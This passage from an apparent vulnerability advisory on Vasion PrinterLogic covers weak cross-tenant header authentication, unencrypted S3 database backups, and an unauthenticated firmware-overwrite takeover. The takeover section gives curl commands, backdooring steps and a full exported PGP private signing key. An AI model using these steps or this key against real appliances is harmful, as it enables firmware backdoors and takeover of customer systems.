126                             self::FAILED_ATTRIBUTE_SAVE_ERROR
127                         );
128                     }
129                     $username = $user->user_login_name;
130                     if ($isLdap) {
131                         $user->replaceDomainWithMsdsDomainIfExists();
132                         $username = $user->domain . '\\' . $username;
133                     }
134                     $payload = [                                 // [2] use 
of the HTTP header X-Site-ID
135                         'siteId' => $siteId,
136                         'username' => $username,
137                         'badgeId' => $data['value'],
138                     ];
139                     event(new AddBadgeEvent($payload));
[/code]

The PHP file `/var/www/app/api-gateway/Apis/MicroserviceApi.php` confirms that 
the same `X-PrinterLogic-MS-Auth-key` variable is used in all the instances 
inside the SaaS version.

Consequently, only 2 variables are used to authenticate a tenant instance 
inside the SaaS infrastructure:

- - `X-Site-ID`, public value corresponding to the subdomain if the `X-Site-ID` 
HTTP header is not set (e.g. `client1` for the `client1` instance, `client2` 
for the `client2` instance) - this is the main authentication mechanism;
- - `X-PL-Instance-ID`, public value corresponding to the tenant ID - this does 
not seem to be widely used in the source code files.

Content of `/var/www/app/api-gateway/Apis/MicroserviceApi.php` with the headers 
used on lines 62 and 63:

[code:php]
  1 <?php
[...]
 15 /**
 16  * Base class for all of the individual microservice APIs
 17  */
 18 class MicroserviceApi
 19 {
 20     use ApiResponse;
 21 
 22     protected $domain;
 23     protected $verifySsl;
 24     protected $siteid;
 25     protected $tenantId;
 26 
 27     /**
 28      * Constructor
 29      *
 30      * @param string $domain - host name of the real endpoint
 31      * @param bool $verify - whether to verify SSL connection
 32      * @param string $siteIdOverride - if null, then we'll use the 
App::getSiteId()
 33      */
 34     public function __construct($domain, $verify, $siteIdOverride = null)
 35     {
 36         $this->domain = $domain;
 37         $this->verifySsl = $verify;
 38         $this->siteid = $siteIdOverride ? $siteIdOverride : 
App::getSiteId();
 39 
 40         $catalogService = app(CatalogService::class);
 41         $tenantId = $catalogService->getCurrentTenantId() ?? '';
 42         $this->tenantId = (string)$tenantId;
 43     }
 44 
 45     /**
 46      * Make the actual request
 47      *
 48      * @param string $url - relative path of the endpoint (not including 
hostname)
 49      * @param string $method - HTTP method
 50      * @param array $request - Request body
 51      * @param array $headers - Request headers
 52      *
 53      * @return Response
 54      */
 55     protected function makeRequest($url, $method = 'GET', $request = [], 
$headers = [])
 56     {
 57         $defaultRequest = [
 58             'verify' => $this->verifySsl,
 59         ];
 60         $defaultHeaders = [
 61             // headers that come in have been lower-cased, so to merge 
properly, we must be also
 62             'x-printerlogic-ms-auth-key' => 
config('auth.microservice_auth_key'),        // [1] static 
x-printerlogic-ms-auth-key
 63             'x-site-id' => $this->siteid,                                   
             // [2] subdomain or value extracted from the X-Site-ID HTTP header
 64             'X-PL-Instance-ID' => $this->tenantId,
 65         ];
 66 
 67         $request = array_merge($defaultRequest, $request);
 68         $request['headers'] = array_merge($defaultHeaders, $headers);
 69         $url = $this->domain . $url;
 70 
 71         Log::debug(sprintf('[API-Gateway] %s %s', $method, $url));
 72         $client = new Client();
 73         $response = $client->request($method, $url, $request);
 74 
 75         return $response;
 76     }
[/code]

For example, the edition of a user is entirely based on the `X-Site-ID` 
variable in the HTTP request in the 
`/var/www/app/app/Http/Controllers/UserController.php` file:

Content of `/var/www/app/app/Http/Controllers/UserController.php`:

Lines 470, 475, 477, 558, 559 and 575:

[code:php]
   1 <?php
[...]
 456     /** 
 457      * Store a newly created resource in storage.
 458      *      
 459      * @param UserRequest $request User data to store
 460      *  
 461      * @return \Illuminate\Http\Response | \Illuminate\Http\JsonResponse
 462      *
 463      * @throws InvalidAttributeIdException
 464      * @throws InvalidAttributeKeyException
 465      * @throws InvalidAttributeValueException
 466      * @throws UserAttributeSaveException
 467      */
 468     public function store(UserRequest $request)
 469     {
 470         $data = $request->get('user'); // [1]
 471 
 472         // convert all data to snake case
 473         $data = StringHelper::toSnakeCase($data, true);
 474         
 475         $data['site_id'] = 
$request->header(CustomHttpHeaders::HEADER_SITE_ID); // [2]
 476                     
 477         // create the user // [3]
 478         $user = $this->service->create($data); // [3]
 479         $response = fractal()->create()
 480             ->item($user)
 481             ->transformWith(new UserTransformer())
 482             ->withResourceName('user')
 483             ->toArray();
 484         
 485         return response()->json($response, HttpResponse::HTTP_CREATED);
 486     }
[...]
 548     /**
 549      * Update the specified resource in storage.
 550      *
 551      * @param UserRequest $request User data to update
 552      * @param int         $id Id of user to update
 553      *
 554      * @return \Illuminate\Http\Response | array
 555      */
 556     public function update(UserRequest $request, $id)
 557     {
 558         $data = $request->get('user'); // [4]
 559         $data['site_id'] = 
$request->header(CustomHttpHeaders::HEADER_SITE_ID); // [5]
 560         $allowUpsert = $request->header('X-PrinterLogic-AllowUpsert', 
false);
 561 
 562         // Check user record exists in table before trying to update it
 563         $user = User::where('id', $id)->first();
 564         if (!$user && $allowUpsert) {
 565             Log::debug(sprintf('Record [%s] does not exist, upserting 
user.', $id));
 566             return $this->store($request);
 567         } elseif (!$user) {
 568             return $this->errorResponse(
 569                 sprintf('Record [%s] does not exist.', $id),
 570                 'INVALID-USER',
 571                 HttpResponse::HTTP_NOT_FOUND
 572             );
 573         }
 574 
 575         $user = $this->service->update($id, $data); // [6]
 576 
 577         return fractal()->create()
 578             ->item($user)
 579             ->transformWith(new UserTransformer())
 580             ->withResourceName('user')
 581             ->toArray();
 582     }
[/code]

An attacker with SSRF vulnerabilities or able to add additional HTTP headers in 
the internal request (e.g. by including CRLF characters) can control any 
instance.

There is a high risk of cross-tenant vulnerabilities since the authentication 
mechanism of instances seems to be weak.



## Details - SQL Backups stored in clear-text in the Cloud

It was observed that backup files are stored in clear-text inside the 
`s3DbBackup` AWS Bucket.

The tarball is generated from the 
`/var/www/app/Console/Commands/BackupPrinterInstaller.php` PHP script on line 
54 and uploaded into the `s3DbBackup` AWS Bucket on line 62.

There is no encryption, the SQL dump is just gzipped on line 54:

Content of `/var/www/app/Console/Commands/BackupPrinterInstaller.php`:

Lines 53-57 and lines 62-63:

[code:php]
 22 class BackupPrinterInstaller extends Command
 23 {
 24     /**
 25      * The name and signature of the console command. It needs which 
database to backup and a unique key to be passed.
 26      *
 27      * @var string
 28      */
 29     protected $signature = 'printer-logic:backup-printer-installer {schema} 
{unique_key}';
 30 
 31     /**
 32      * The console command description.
 33      *
 34      * @var string
 35      */
 36     protected $description = 'Backup the Printer Installer Database';
 37 
 38     /**
 39      * Execute the console command.
 40      *
 41      * @return void
 42      */
 43     public function handle()
 44     {
 45         $schema = $this->argument('schema');
 46         $uniqueKey = $this->argument('unique_key');
 47         $file = $schema . "_" . $uniqueKey . "_database.sql.gz";
 48         $fileHandle = null;
 49 
 50         Log::notice("COMMAND START: " . implode(",", $this->arguments()));
 51         try {
 52             $this->info("Initiating Database backup for ... $schema");
 53 
 54             $dumper = $this->createMySqlDbDumper($schema); // [1]
 55             $dumper->useCompressor(new GzipCompressor())   // [1]
 56             ->addExtraOption('--set-gtid-purged=OFF')      // [1]
 57             ->dumpToFile($file);                           // [1]
 58 
 59             // Open the file stream to avoid loading the entire file into 
memory at once.
 60             $fileHandle = fopen($file, 'r');
 61             // Save to S3
 62             $success = Storage::disk('s3DbBackup')->put($file, 
$fileHandle); // [2]
 63             Log::debug("Did upload to s3 work? $success");                  
 // [2]
 64             if (!$success) {
 65                 throw new AwsException("Failed to save $schema to S3", 424);
 66             }
[...]
 81 
 82     /**
 83      * Function createMySqlDbDumper This creates a PrinterLogicMySql object 
that is ready to be used doing
 84      *  all the necessary setup. MySql inherits from DbDumper and is the 
MySql implementation of DbDumper.
 85      *
 86      * @param string $dbName Name of database to backup
 87      *
 88      * @return DbDumper
 89      */
 90     public function createMySqlDbDumper(string $dbName): DbDumper
 91     {
 92         //startDBProxy returns connection name or false
 93         $connectionName = Saas::startDBProxy($dbName, false, false, false);
 94 
 95         $dbConfig = config("database.connections.{$connectionName}");
 96         if (is_null($dbConfig)) {
 97             throw Exception("Connection does not exist: " . $dbName);
 98         }
 99         $dbHost = Arr::get($dbConfig, 'read.host', Arr::get($dbConfig, 
'host'));
100         $dbDumper = App::make(PrinterLogicMySql::class);
101         $dbDumper->setHost($dbHost ?? '')
102             ->setDbName($dbName)
103             ->setUserName($dbConfig['username'] ?? '')
104             ->setPassword($dbConfig['password'] ?? '');                     
                                                                                
                                    
105         if (isset($dbConfig['port'])) {                                     
                                                                                
                                    
106             $dbDumper = $dbDumper->setPort($dbConfig['port']);              
                                                                                
                                    
107         }                             
108         if (isset($dbConfig['dump'])) {
109             $dbDumper = 
static::processExtraDumpParameters($dbConfig['dump'], $dbDumper);
110         }
111         return $dbDumper;
112     }
113 }
[/code]

The restore script `/var/www/app/Console/Commands/RestorePrinterInstaller.php` 
also does not include any decryption mechanism (on line 109):

Content of `/var/www/app/Console/Commands/RestorePrinterInstaller.php`:

Lines 42, 108-109 and 114:

[code:php]
 24 class RestorePrinterInstaller extends Command
 25 {
[...]
 40     protected $description = 'Restore the Printer Installer Database';
 41 
 42     public const RETRIEVAL_DISK = 's3DbBackup'; // [1]
 43     public const ERR_EXCEPTION = -1;
 44     public const ERR_AWS_EXCEPTION = -2;
 45     public const ERR_EXISTING_DATABASE_EXCEPTION = -3;
 46     public const ERR_MISSING_FILE_EXCEPTION = -4;
 47     public const ERR_COMMAND_EXECUTION_EXCEPTION = -5;
 48 
 49 
 50     /**
 51      * Execute the console command.
 52      *
 53      * @return void
 54      */
 55     public function handle()
 56     {
 57         $schema = $this->argument('original_schema_name');
 58         $restoreSchema = $this->argument('restore_schema_name');
 59         $uniqueKey = $this->argument('unique_key');
 60         $s3file = $schema . "_" . $uniqueKey . "_database.sql.gz";
 61 
 62         Log::notice("COMMAND START: " . implode(",", $this->arguments()));
 63         try {
 64             $this->info("Initiating Database backup for ... $schema");
 65 
 66             $exists = Storage::disk(self::RETRIEVAL_DISK)->exists($s3file);
 67             // If the file doesn't exist add the db prefix on and try again.
 68             if (!$exists) {
 69                 $s3file = config('saas.database_prefix', 'pi_') . $s3file;
 70                 $exists = 
Storage::disk(self::RETRIEVAL_DISK)->exists($s3file);
 71             }
 72 
 73             if (!$exists) {
 74                 $this->error("The file is missing");
 75                 return self::ERR_MISSING_FILE_EXCEPTION;
 76             }
 77             $this->info("I found the file $s3file on s3");
 78 
 79             $dbName = Saas::getDBName($restoreSchema);
 80             // Sets up a database proxy for the new connection so we can 
connect to the mysql server.
 81 
 82             Saas::startDBProxyForNonExistentSite($dbName, true);
 83 
 84             $this->info("dbName " . $dbName);
 85 
 86             // Create schema if doesn't exist
 87             MysqlService::createSchemaIfItDoesntExist($dbName);
 88 
 89             // Check if License table exists in schema.
 90             $exists = MysqlService::hasTableInSchema($dbName, 'license');
 91             // If the license table exists abort since the restore is going 
to overwrite an existing database.
 92             if ($exists) {
 93                 $this->error("Trying to restore $dbName over an existing 
database");
 94                 return self::ERR_EXISTING_DATABASE_EXCEPTION;
 95             }
 96 
 97             $fileUrl = 
Storage::disk(self::RETRIEVAL_DISK)->temporaryUrl($s3file, 
now()->addMinutes(15));
 98 
 99             // Get variables to use in the mysql command.
100             $connection = DB::connection();
101             $dbHost = $connection->getConfig('host');
102             $userName = $connection->getConfig('username');
103             $password = $connection->getConfig('password');
104                                                                             
                                                                                
                                    
105             $this->info("URL $fileUrl");                                    
                                                                                
                                    
106             // pull down the file with curl passing the silent (-s) flag    
                                                                                
                                    
107             // then pipe it into gunzip then pipe the results into mysql
108             $command =
109                 "curl -s '$fileUrl' | gunzip | mysql --user='$userName' 
--password='$password' --host=$dbHost $dbName";
110             $returnVar = null;
111             $output = null;
112             // Execute the mysql command so we can stream the file instead 
of loading it to memory then passing it
113             // to mysql.
114             exec($command, $output, $returnVar);
[/code]

The backup files are not encrypted and are stored inside the `s3DbBackup` AWS 
Bucket.

If the AWS keys are exposed (e.g. using SSRF vulnerabilities), the clear-text 
backups can be downloaded by attackers.

Note: In February 2024, Vasion replied that this reported issue is a false 
positive:

> This code is not used to encrypt data. All data sent to S3 buckets is 
> encrypted during encapsulation and encrypted at rest once within our VPC.



## Vulnerabilities affecting the VA version


## Identification of the solution

Printerlogic VA version 

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Printerlogic VA version 

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]



## Details - Remote take over of PrinterLogic instances (Remote Code Execution)

It was observed that a specific webpage is reachable without authentication. 
This webpage provides a temporary token allowing an attacker to upload a 
malicious firmware image and overwrite the original firmware image running in 
the appliance. No credentials are required.

The firmware images are encrypted with the `PrinterLogic Virtual Appliance Team 
no-reply+virtualappliance@xxxxxxxxxxxxxxxx` GPG key that can be freely 
extracted from the appliance. An attacker can simply download an update file, 
decrypt it, modify it by adding a backdoor, encrypt it with the GPG key and 
upload it using the temporary token. The malicious image will be then installed.

By visiting the webpage `/admin/design/management_accountts_pcabout.php`, the 
attacker will retrieve the secret token allowing uploading a new firmware image 
and installing it in the appliance:

Secret token allowing overwriting the firmware image:

    kali% curl -kv 
http://10.105.0.60/admin/design/management_accountts_pcabout.php
    *   Trying 10.105.0.60:80...
    * Connected to 10.105.0.60 (10.105.0.60) port 80
    > GET /admin/design/management_accountts_pcabout.php HTTP/1.1
    > Host: 10.105.0.60
    > User-Agent: curl/8.4.0
    > Accept: */*
    > 
    < HTTP/1.1 500 Internal Server Error
    < Cache-Control: no-cache, private
    < Content-Security-Policy: frame-ancestors 'self'
    < Content-Type: text/html; charset=UTF-8
    < Date: Tue, 26 Dec 2023 13:03:46 GMT
    < Server: nginx
    < X-Content-Type-Options: nosniff
    < X-Frame-Options: SAMEORIGIN
    < X-Xss-Protection: 1; mode=block
    < Transfer-Encoding: chunked
    < 
    About PrinterLogic Virtual Appliance
        id="va-react-content"
        
versions='{&quot;appliance&quot;:{&quot;previous&quot;:&quot;unavailable&quot;,&quot;current&quot;:&quot;20.0.2140&quot;,&quot;latest&quot;:&quot;unavailable&quot;,&quot;date&quot;:&quot;01\/01\/1970&quot;},&quot;host&quot;:{&quot;current&quot;:&quot;22.0.893&quot;,&quot;latest&quot;:&quot;unavailable&quot;},&quot;updating&quot;:{&quot;toVersion&quot;:&quot;&quot;}}'
        date='12/13/2023'
        updateAvailable=''
        apiSign='$2y$10$G6ykZQ5JwnrxCIiGLqEoA.MCQ6AmQAxSfSLk3dlnc5rwYH/o.0/OG'
        apiTimeStamp='2023-12-26 13:03:46'
        gwUrl='http://gw.10.105.0.60'
    [...]

Then, the attacker can install backdoors in an existing official image using 
the following GPG key (found in the appliance).

Steps:

- - Installation of the GPG private key (obtained from the VA version);
- - Download of a recent version of an update file;
- - Decryption of the update file;
- - Modification of the update file;
- - Repack of the modified file;
- - Signature of the modified file;
- - Upload of the modified file.

Depacking of an official image:

    kali# cp -r 
/dev/shm/./var-lib-docker/overlay2/af043a538447c099c971ed713f9d7cf8e5987ba0e52df08844e0a255b177c582/diff/home/ubuntu//.gnupg
 /home/user/
    
    kali% gpg --list-secret-keys
    /home/user/.gnupg/pubring.kbx
    -----------------------------
    sec#  rsa4096 2020-01-23 [SC]
          CADA0B06D8ADA5A72C52F5FB09BD9E367DA10998
    uid           [ultimate] PrinterLogic Virtual Appliance Team 
<no-reply+virtual-appliance@xxxxxxxxxxxxxxxx>
    ssb   rsa4096 2020-01-23 [E]
    ssb#  rsa4096 2020-01-23 [S]
    kali% #gpg --export-secret-keys -a > export.asc
    [50370a0d-65b4-4b2a-a2a2-ea0d6ff35ef4]
    kali% cat export.asc
    -----BEGIN PGP PRIVATE KEY BLOCK-----
    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
    =/L1e
    -----END PGP PRIVATE KEY BLOCK-----
    
    kali% echo "From 
https://help.printerlogic.com/va/1-Printerlogic/Release_Notes/VA_Latest_App_Builds.htm";
 > /dev/null
    kali% wget 
https://appliance-cdn.printercloud.com/virtual-appliance-services/releases/20.0.2140/20.0.2140.gpg
    --2023-12-26 08:16:04--  
